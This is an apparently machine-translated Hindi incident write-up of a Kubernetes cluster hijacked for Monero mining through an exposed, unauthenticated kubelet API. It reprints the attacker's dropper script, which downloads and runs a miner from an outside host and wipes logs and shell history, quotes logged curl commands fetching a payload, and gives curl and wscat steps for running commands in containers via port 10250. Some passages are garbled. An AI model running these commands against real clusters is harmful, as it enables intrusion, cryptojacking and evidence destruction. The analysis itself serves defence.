कुबेरनेट्स हैक विश्लेषण - क्यूबलेट के माध्यम से पिछले दरवाजे

कुबेरनेट्स के बारे में कुछ नहीं जानने के लिए, पिछले तीन वर्षों से एक गुफा में रहना पड़ा। हैंडी डेवलपमेंट इन्फ्रास्ट्रक्चर, CI / CD और प्रोडक्शन कुबेरनेट्स मल्टी-क्लस्टर इकोसिस्टम पर बनाया गया है। हम कह सकते हैं कि हम हैंडी में कुबेरनेट्स के प्रशंसक हैं, यही वजह है कि जब हमारे सहयोगी के कुबेरनेट्स निजी क्लस्टर को पिछले सप्ताहांत में हैक किया गया था, तो हमें बहुत आश्चर्य हुआ था।

वे आश्चर्यचकित थे - और आनन्दित हुए, क्योंकि उन्होंने कुबेरनेट्स में एक छोटी-सी जानी-मानी गड़बड़ खोज की थी। इस लेख में, हम देखेंगे कि कैसे एक सहयोगी के क्लस्टर को हैक किया गया था और कैसे हमने अपने स्वयं के क्लस्टर में इस हमले को फिर से बनाकर अपने निष्कर्षों की पुष्टि की। हमले को कुबेरनेट्स 1.9 में परीक्षण किया गया था, लेकिन पुराने समूहों पर काम कर सकते हैं।

अस्वीकरण : यह लेख हमारे सहयोगी के व्यक्तिगत सर्वर के बारे में है। इन्फ्रास्ट्रक्चर हैंडी टेक्नोलॉजीज से समझौता नहीं किया गया है।

हक

दोषपूर्ण क्लस्टर अल्पाइन लिनक्स के शीर्ष पर चलने वाला एकमात्र कुबेरनेट्स तैनाती नोड था। पहली हैकिंग इंडिकेटर डोकर डेमॉन की चाइल्ड प्रोसेस के रूप में काम करने वाली एक संदिग्ध प्रक्रिया थी:

/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B 

समापन बिंदु कर्लिंग निम्नलिखित पाठ लौटाता है:

 Mining Proxy Online 

ऐसा लगता है कि किसी ने क्रिप्टो-माइनिंग सॉफ़्टवेयर को एक काम करने वाले कंटेनर में डालने और प्रक्रिया शुरू करने का तरीका ढूंढ लिया है।

जब कंटेनर (/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb805c28a454f28ac4a2831c3a38d4d353888d7) .dow.x/ ( कंटेनर /) के लिए docker ओवरले निर्देशिका में udvs फ़ाइल की खोज की जा रही है।

 #!/bin/bash yum install wget -y apt-get install wget -y PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l) if [ $PS2 -eq 0 ]; then rm -rf /tmp/udevs* wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs fi chmod +x /tmp/udevs chmod 777 /tmp/udevs if [ $PS2 -eq 0 ]; then /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then echo $? wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c fi 

इसके अलावा, VirusTotal पर / tmp / udevs कार्यक्रम के लिए MD5 हस्ताक्षर (a4404be67a41f144ea86a7838f357c26) को एक संभावित मोनरो खान के रूप में परिभाषित किया गया है:

तो, हम जानते हैं कि पटाखा ने किसी तरह कंटेनर में क्यूबलॉक स्क्रिप्ट रखी और उसे चलाया। लेकिन कैसे?

कुबेरनेट्स एपीआई सर्वर के लिए सार्वजनिक पहुंच खुली थी, लेकिन प्रमाणपत्र प्रमाणीकरण द्वारा संरक्षित थी। सबसे पहले, हमने क्लस्टर में काम करने वाली छवियों में से एक की आपूर्ति श्रृंखला पर हमला किया। हालाँकि, क्यूबलेट लॉग का अध्ययन करने के बाद, हमने कुछ देखा:

 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing ' क्रम से /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing 

ऐसा लगता है कि पटाखा को किसी तरह से क्यूबलेट में निष्पादित किया गया था। Google ने "प्रमाणीकरण क्यूबलेट" के अनुरोध पर कुबेरनेट दस्तावेज़ीकरण से पाठ जारी किया:

डिफ़ॉल्ट रूप से, HTTPS kubelet समापन बिंदु के अनुरोध जिन्हें अन्य कॉन्फ़िगर प्रमाणीकरण विधियों द्वारा अस्वीकार नहीं किया जाता है, उन्हें उपयोगकर्ता नाम प्रणाली के साथ अनाम अनुरोधों के रूप में माना जाता है: अनाम और समूह प्रणाली: अप्रमाणित ।

क्यूबलेट प्रमाणीकरण / प्राधिकरण

यदि क्यूबलेट में कोई झंडे निर्दिष्ट नहीं किए गए हैं, तो डिफ़ॉल्ट रूप से एपीआई अनुरोधों को स्वीकार करने की विधि जो प्रमाणीकरण पास नहीं करती है, का उपयोग किया जाता है। ध्यान रखें कि काम के लिए मास्टर -> नोड लिंक के लिए, कुबेरनेट्स एपीआई सर्वर को नोड्स पर क्यूबलेट के साथ सूचना का आदान-प्रदान करना होगा।

जैसा कि यह निकला, हमारे सहयोगी के सर्वर ने सार्वजनिक रूप से क्यूबलेट पोर्ट (tcp 10250, tcp 10253) को भी उजागर किया। यद्यपि त्रुटि स्पष्ट है, यह जांचना अच्छा होगा कि आपके अपने कुबेरनेट को कैसे तैनात किया गया है।

यदि उपयोगकर्ताओं के पास नोड्स तक पहुंच है, तो क्यूबलेट एपीआई क्लस्टर के लिए पूरी तरह कार्यात्मक बैकडोर है जिसने एपीआई प्रमाणीकरण पारित नहीं किया है।

इसलिए, यदि आपके पास प्रमाणीकरण और प्राधिकरण (वेबहूक, आरबीएसी, आदि) को सक्रिय करने में समस्याएं हैं, तो सुनिश्चित करें कि क्यूबलेट संरक्षित है।

क्यूबलेट संचार की सुरक्षा के बारे में गंभीर प्रश्न हैं , और यह समस्या अधिक ध्यान देने योग्य है।

अवधारणा का प्रमाण

सीधे क्यूबलेट में कमांड भेजने के लिए, आपको यहां वर्णित एपीआई का उपयोग करना होगा:

क्यूबलेट दो बंदरगाहों पर सुनता है: 10255 और 10250। पहला केवल पढ़ने योग्य HTTP पोर्ट है, और दूसरा एक HTTPS पोर्ट है जो कुछ भी कर सकता है।

क्लस्टर में किसी भी नोड का चयन करें और पॉड्स को सूचीबद्ध करने का प्रयास करें:

 curl --insecure https://kube-node-here:10250/pods | jq 

निष्पादन के लिए मार्ग, जिसे क्यूबलेट पृष्ठ पर प्रलेखित नहीं किया गया है, एपीआई सर्वर मार्ग के समान है, लेकिन इसके लिए दो अनुरोधों की आवश्यकता होती है: एक प्रारंभिक POST और एक बाद वाला GET जो क्लाइंट के साथ SPDY (या एक वेबसोकेट क्लाइंट, जो भी समर्थित है) का समर्थन करता है।

क्यूबलेट के माध्यम से एक चल रहे कंटेनर में कमांड चलाएं।

पिछले अनुरोध पर जिस नोड को आप लक्षित करना चाहते हैं, उस पर चलने वाले का पता लगाएँ। कर्ल के साथ निम्नलिखित क्वेरी चलाएँ:

 curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1" 

यह कोड 302 के साथ प्रतिक्रिया देना चाहिए, जो धारा को पुनर्निर्देशित करता है:

 < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT 

स्ट्रीम शुरू करने के लिए wscat का उपयोग करें:

 wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected 

चूँकि हम सिर्फ touch hello_world , यह फाइल और डिस्कनेक्ट करता है। यदि आप आउटपुट के साथ एक कमांड निष्पादित करना चाहते हैं, तो आप उपरोक्त कमांड को निष्पादित करने के बाद परिणाम देखेंगे।

निष्कर्ष

यद्यपि यह व्यवहार दस्तावेज़ीकरण के अनुरूप है, कई लोग यह नहीं जानते हैं कि उचित कॉन्फ़िगरेशन के बिना, उन्हें कुबेरनेट्स बहु-उपयोगकर्ता वातावरण में एक सुरक्षा छेद मिलता है।

हमने कुबेरनेट पर सुरक्षा मुद्दों में से एक को कवर किया है। टिप्पणी!

14 मार्च, 2018 पैच

गहन अध्ययन के बाद, ऐसा लगता है कि क्यूबलेट प्रमाणीकरण सक्षम होने के बावजूद, यह केवल HTTPS पोर्ट (10250) पर लागू होता है। इसका मतलब यह है कि केवल पढ़ने योग्य HTTP पोर्ट (10255) अभी भी नेटवर्क एसीएल के अलावा किसी भी सुरक्षा सुविधाओं के बिना खुला रहता है।

रीड पोर्ट /pods रूट पर चूल्हा विनिर्देशों को सूचीबद्ध कर सकता है, जिसका अर्थ है पर्यावरण के चर जैसे संवेदनशील डेटा तक पहुंच।

28 दिन पहले, कोड को बदल दिया गया था ताकि एक असुरक्षित पोर्ट डिफ़ॉल्ट रूप से अक्षम हो जाए।

मूल: एक कुबेरनेट्स हैक का विश्लेषण - क्यूबलेट के माध्यम से पिछले दरवाजे